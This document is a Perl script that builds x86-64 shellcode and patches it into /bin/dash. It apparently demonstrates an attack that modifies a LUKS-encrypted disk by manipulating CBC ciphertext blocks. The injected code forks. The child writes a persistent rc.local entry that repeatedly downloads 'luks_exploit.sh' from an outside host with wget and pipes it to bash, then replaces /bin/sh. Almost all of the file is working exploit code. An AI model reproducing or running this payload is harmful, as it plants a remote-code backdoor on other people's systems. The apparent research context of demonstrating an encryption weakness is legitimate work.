#! /usr/bin/perl # File to patch: /bin/dash, SHA256 e9a7e1fd86f5aadc23c459cb05067f49cd43038f06da0c1d9f67fbcd627d622c # main() at address 0x402090 => File pos 0x2090 # execve@plt at address 0x401d70 => File pos 0x1d70 # fork@plt at address 0x402030 => File pos 0x2030 use warnings; open OUT,"> shellcode.S"; print OUT ".balign 16\n"; print OUT ".ascii \" SHELLCODE_START\"\n"; print OUT ".global shellcode1\n"; print OUT "shellcode1:\n"; # Position of main(), just insert a jump to the actual shellcode location my $posInFile = 0x2090; print OUT "jmp shellcode2\n"; $posInFile += 5; # Add NOP statements until we reach the correct position for the actual shellcode while($posInFile < 0xaa40){ print OUT "nop\n"; $posInFile ++; } print OUT "shellcode2:\n"; my $nextShellcodeNum = 3; # Allocate a stack frame for the required variables addInstruction("mov %rsp,%rbp"); addInstruction('sub $100,%rsp'); # Save argv and envp addInstruction("mov %rsi,-100(%rbp)"); # argv addInstruction("mov %rdx,-92(%rbp)"); # envp call(0x2030); # call fork() # Jump to label CHILD if fork() returned 0 addInstruction('cmp $0x0,%rax'); addInstruction("je CHILD",2); # This code is run in the parent process, call execve("/bin/bash",argv,envp) so that the shell invocation works as expected pushString("/bin/bash"); addInstruction("push %rsp"); addInstruction("pop %rdi"); addInstruction("mov -100(%rbp),%rsi"); # argv addInstruction("mov -92(%rbp),%rdx"); # envp call(0x1d70); # execve("/bin/bash",argv,envp); # This code is run in the child process: # execve("/bin/bash",["bash","-c","(echo 'nohup bash -c \"until wget -q -O - www.jakoblell.com/luks_exploit.sh|bash;do sleep 30;done\" &'>>/etc/init.d/rc.local)2>/dev/null && ln -sf /bin/bash /bin/sh"],envp) addInstruction("CHILD:",0); # Create argv array at -84(%rbp) in our stack frame pushString("bash"); addInstruction("mov %rsp,-84(%rbp)"); pushString("-c"); addInstruction("mov %rsp,-76(%rbp)"); pushString(qq{(echo 'nohup bash -c "until wget -q -O - www.jakoblell.com/luks_exploit.sh|bash;do sleep 30;done" &'>>/etc/init.d/rc.local)2>/dev/null && ln -sf /bin/bash /bin/sh}); addInstruction("mov %rsp,-68(%rbp)"); addInstruction('movq $0,-60(%rbp)'); # First argument to execve (filename) pushString("/bin/bash"); addInstruction("push %rsp"); addInstruction("pop %rdi"); addInstruction("lea -84(%rbp),%rsi"); # argv addInstruction("mov -92(%rbp),%rdx"); # envp call(0x1d70); # call execve print OUT ".balign 16\n"; print OUT ".ascii \"SHELLCODE_END\"\n"; close(OUT); system("gcc -c shellcode.S"); die "Compiling shellcode failed" unless $?==0; # Create a call instruction to a given position in the /bin/dash file, used for calling fork@plt and execve@plt sub call{ my($dstPos) = @_; my $nextInstPos = $posInFile + 5; # Position after this call instruction my $offset = ($dstPos - $nextInstPos); my $binary = "\xe8" . pack("V",$offset); my $asm = ".byte " . join(",",map(ord,split("",$binary))); addInstruction($asm,5); } # Writes a given string on the stack using a sequence of push instructions sub pushString{ my($str) = @_; $str .= "\0"; $str .= " " while(length($str) % 8 != 0); for(my $i=length($str)-8;$i>=0;$i-=8){ my $instruction = "movabs \$0x"; for(my $j=7;$j>=0;$j--){ $instruction .= unpack("H*",substr($str,$i+$j,1)); } $instruction .= ", %rbx"; addInstruction($instruction,10); addInstruction("push %rbx",1); } } # Adds an instruction to the shellcode. If the instruction doesn't fit to the current chunk, # it creates the next chunk and a jmp instruction to it automatically. # The parameter $len gives the length of the binary instruction. If it isn't given, the # length is calculated using getInstructionLength() sub addInstruction{ my($asm,$len) = @_; if(!defined($len)){ $len = getInstructionLength($asm); } if(($posInFile % 16) + $len >= 14){ while(($posInFile % 16) < 14){ print OUT " NOP\n"; $posInFile ++; } print OUT " jmp shellcode$nextShellcodeNum\n"; $posInFile += 2; print OUT " NOP\n"; $posInFile += 1; while($posInFile % 16 != 0){ print OUT " NOP\n"; $posInFile ++; } if($posInFile % 512 == 0){ # The first 16 bytes of a block can't be manipulated because there is no previous ciphertext block you can manipulate # So let's start with the next block in the file for(1..16){ print OUT " NOP\n"; $posInFile ++; } } print OUT "shellcode$nextShellcodeNum:\n"; $nextShellcodeNum++; } print OUT " $asm\n"; $posInFile += $len; } # Calculates the instruction length of a given instruction by writing it to an assembler file, # compiling it and then extracting the length from the generated object file sub getInstructionLength{ my($asm) = @_; open FH,"> instructionlength.S"; print FH ".ascii \" SHELLCODE_START\"\n"; print FH $asm,"\n"; print FH ".ascii \"SHELLCODE_END\"\n"; close FH; system("gcc -c instructionlength.S"); open FH,"< instructionlength.o" or die $!; my $buf; read(FH,$buf,1024*1024); $buf =~ /SHELLCODE_START(.*)SHELLCODE_END/gs; close(FH); unlink("instructionlength.S"); unlink("instructionlength.o"); return length($1); }